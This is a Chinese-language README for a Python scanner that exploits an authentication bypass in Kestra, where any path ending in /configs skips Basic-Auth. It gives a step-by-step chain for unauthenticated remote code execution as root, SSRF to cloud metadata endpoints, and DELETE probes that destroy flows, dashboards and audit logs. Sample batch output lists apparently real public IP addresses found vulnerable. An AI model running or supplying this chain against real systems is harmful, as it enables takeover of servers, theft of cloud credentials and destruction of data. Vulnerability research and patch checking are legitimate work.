扫描 Kestra 实例中 endsWith("/configs") 认证过滤器绕过漏洞。Kestra 的 AuthenticationFilter.java 使用 request.getPath().endsWith("/configs") 进行检查,而非匹配精确路径 /api/v1/configs。由于 Kestra 通过调用者选择的路径段(命名空间、流程ID)来寻址资源,任何以 /configs 结尾的路径都会绕过 Basic-Auth 认证,从而允许未认证的流程创建和远程代码执行(RCE)。(CVSS 10.0)
参考资料:
GET /api/v1/configs(必须返回200;解析响应体获取Kestra版本)GET /api/v1/{tenant}/flows(若强制认证应返回401/403)/configs结尾的路径;若任何路径在认证检查生效时返回非401/403,则实例存在漏洞--aggressive)还会发送PUT请求以确认写绕过能力--rce)完整链:创建Shell/Python流程 → 触发执行 → 检索日志 → 确认代码执行 → 清理--ssrf)创建包含Pebble http()调用的流程,目标为AWS/GCP/Azure云元数据及内部端点,然后检查日志证据--destructive)向flows、dashboards和logs的绕过路径发送DELETE请求,以确认破坏性操作绕过| 探针 | 方法 | 路径 | 描述 |
|---|---|---|---|
| 公开配置 | GET | /api/v1/configs | 存活检查+版本提取 |
| 受保护正常 | GET | /api/v1/{tenant}/flows | 认证强制基线 |
| Flows绕过 | GET | /api/v1/{tenant}/flows/{namespace}/configs | 流程列表绕过 |
| Executions绕过 | GET | /api/v1/{tenant}/executions/{namespace}/configs | 执行绕过 |
| KV存储绕过 | GET | /api/v1/{tenant}/namespaces/{namespace}/kv/configs | KV读取绕过 |
| Dashboards绕过 | GET | /api/v1/{tenant}/dashboards/configs | 仪表盘绕过 |
| Logs绕过 | GET | /api/v1/{tenant}/logs/{namespace}/configs | 日志访问绕过 |
| Templates绕过 | GET | /api/v1/{tenant}/templates/{namespace}/configs | 模板读取绕过 |
--aggressive)| 探针 | 方法 | 路径 | 描述 |
|---|---|---|---|
| Flows PUT绕过 | PUT | 同Flows绕过路径 | 创建一个最小的debug.Return流程 |
| KV PUT绕过 | PUT | 同KV绕过路径 | 创建一个KV条目{"scanned": true} |
--destructive)| 探针 | 方法 | 路径 | 描述 |
|---|---|---|---|
| Flows DELETE绕过 | DELETE | 同Flows绕过路径 | 删除名为"configs"的资源 |
| Dashboards DELETE绕过 | DELETE | 同Dashboards绕过路径 | 删除名为"configs"的仪表盘 |
| Logs DELETE绕过 | DELETE | 同Logs绕过路径 | 销毁审计日志 |
--rce)仅在确认认证绕过后运行。来自安全公告的完整链:
| 步骤 | 方法 | 路径 | 描述 |
|---|---|---|---|
| 1. 创建RCE流程 | PUT | /api/v1/{tenant}/flows/{namespace}/configs | 部署包含io.kestra.plugin.scripts.shell.Commands的流程(echo <marker>、id、hostname)。失败时回退到io.kestra.plugin.scripts.python.Script。 |
| 2. 触发执行 | POST | /api/v1/{tenant}/executions/{namespace}/configs | 通过绕过路径启动流程 |
| 3. 轮询日志 | GET | /api/v1/{tenant}/logs/search?executionId=<id> | 最多轮询--poll-retries次(默认10),每--poll-interval秒(默认3)一次,查找唯一的RCE标记 |
| 4. 清理 | DELETE | 同步骤1 | 移除已部署的流程 |
--ssrf)仅在确认认证绕过后运行:
| 步骤 | 方法 | 路径 | 描述 |
|---|---|---|---|
| 1. 创建SSRF流程 | PUT | /api/v1/{tenant}/flows/{namespace}/configs | 部署debug.Return任务,使用Pebble http()调用AWS(169.254.169.254/latest/meta-data/ami-id)、GCP(metadata.google.internal)、Azure(169.254.169.254/metadata/instance)以及内部(127.0.0.1:8080/api/v1/configs) |
| 2. 触发执行 | POST | 同RCE步骤2 | 触发流程 |
| 3. 轮询日志 | GET | /api/v1/{tenant}/logs/search?executionId=<id> | 检查云元数据指示符(ami-、i-、169.254.169.254、metadata.google.internal等) |
| 4. 清理 | DELETE | 同步骤1 | 移除已部署的流程 |
位置参数:
target 单个目标URL(例如 http://localhost:8080)
选项:
-f, --file 包含目标列表的文件(每行一个)
-t, --timeout 请求超时秒数(默认:10)
--verify-ssl 验证TLS证书
-j, --json 输出JSON到stdout
-o, --output 将JSON报告写入文件
--tenant 租户名称(默认:"main")
--namespace 绕过路径的命名空间(默认:"tutorial")
-w, --workers 批量扫描的线程数(默认:10)
-a, --aggressive 发送PUT请求以确认写绕过
-P, --auto-ports 自动扩展的端口(默认:8080 8081 8088 8091 80 443)
高级探测:
-r, --rce 启用RCE验证链(Shell+Python流程,执行触发,日志检索,自动清理)
-s, --ssrf 启用SSRF检测(Pebble http()调用云元数据端点,基于日志的证据收集)
-d, --destructive 启用对flows、dashboards和logs的DELETE探测(会在脆弱实例上删除资源)
--poll-interval RCE/SSRF链的日志轮询间隔秒数(默认:3)
--poll-retries RCE/SSRF链的最大日志轮询次数(默认:10)
包含丰富信息(版本、RCE、SSRF、DELETE状态)的逐探针详细输出及判定:
====================================================================
目标: http://10.0.0.1:8080
时间戳: 2026-06-30T12:00:00+00:00
====================================================================
版本: 1.3.20 (受影响)
RCE: 已确认 (通过Shell)
| SCAN_RCE_a1b2c3d4e5f6
| uid=0(root) gid=0(root) groups=0(root)
SSRF: 已检测到
| 发现指示符:ami-, 169.254.169.254, 127.0.0.1:8080
DELETE绕过: 已确认破坏性操作绕过认证
[Flows绕过]
URL: http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
状态: 200
绕过: 是
[Exec绕过]
URL: http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
状态: 404
绕过: 否
...
── RCE验证链 ──
流程创建:201
执行触发:201
日志证据:200
> SCAN_RCE_a1b2c3d4e5f6
> uid=0(root) gid=0(root) groups=0(root)
流程清理:204
── SSRF检测链 ──
流程创建:201
执行触发:201
证据:200
发现指示符:ami-, 169.254.169.254, 127.0.0.1:8080
流程清理:204
[漏洞] 判定:存在漏洞 ...
====================================================================
带RCE/SSRF/DEL标志列的排序表格:
========================================================================================================================================
批量扫描摘要 GHSA-5vc5-wxxq-3fjx | CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
# 目标 认证 Flows Exec KV Dash Logs Tmpl RCE SSRF DEL 判定
---------------------------------------------------------------------------------------------------------------------------------------
1 http://173.249.1.26:8080 401 404 ERR ERR ERR 405 404 是 是 是 RCE!
2 http://207.180.207.199:8080 401 404 ERR ERR ERR 405 404 INC - 是 存在漏洞
...
30 http://103.115.65.228:8080 401 401 ERR 401 ERR 401 401 - - - 安全
...
========================================================================================================================================
总计:258 | 存在漏洞:5 | RCE已确认:1 | SSRF已检测:1 | DEL绕过:2 | 安全:29 | 不确定:224
========================================================================================================================================
退出代码:0 = 无漏洞,1 = 发现漏洞,2 = 全部不确定。
使用 -j 或 -o 时,输出包含每个目标的丰富字段:
{
"scan_info": {
"scanner": "kestra_cve v2.0.0",
"cve": ["CVE-2026-49869", "CVE-2026-53576"],
"aggressive": true,
"rce": true,
"ssrf": true,
"destructive": true
},
"results": [
{
"target": "http://10.0.0.1:8080",
"vulnerable": true,
"version": "1.3.20",
"version_in_affected_range": true,
"rce_confirmed": true,
"rce_method": "shell",
"rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
"ssrf_detected": true,
"ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
"delete_bypass": true,
"probes": { "..." : "..." }
}
],
"summary": {
"total": 258,
"vulnerable": 5,
"rce_confirmed": 1,
"ssrf_detected": 1,
"delete_bypass": 2,
"safe": 29,
"inconclusive": 224
}
}
扫描器自动从 GET /api/v1/configs 响应中提取Kestra版本并进行分类:
| 版本 | 分类 |
|---|---|
<= 1.0.44 | 受影响(1.0分支,补丁前) |
>= 1.0.45 | 已修补(1.0分支) |
1.3.0 1.3.20 | 受影响(1.3分支,补丁前) |
>= 1.3.21 | 已修补(1.3分支) |
>= 1.4.0 | 已修补(比受影响范围更新) |
| 未知 | 响应中未找到版本 |
该功能使用分支感知比较,因为Kestra维护独立的补丁分支(1.0.x和1.3.x)。
需要Python 3.10+。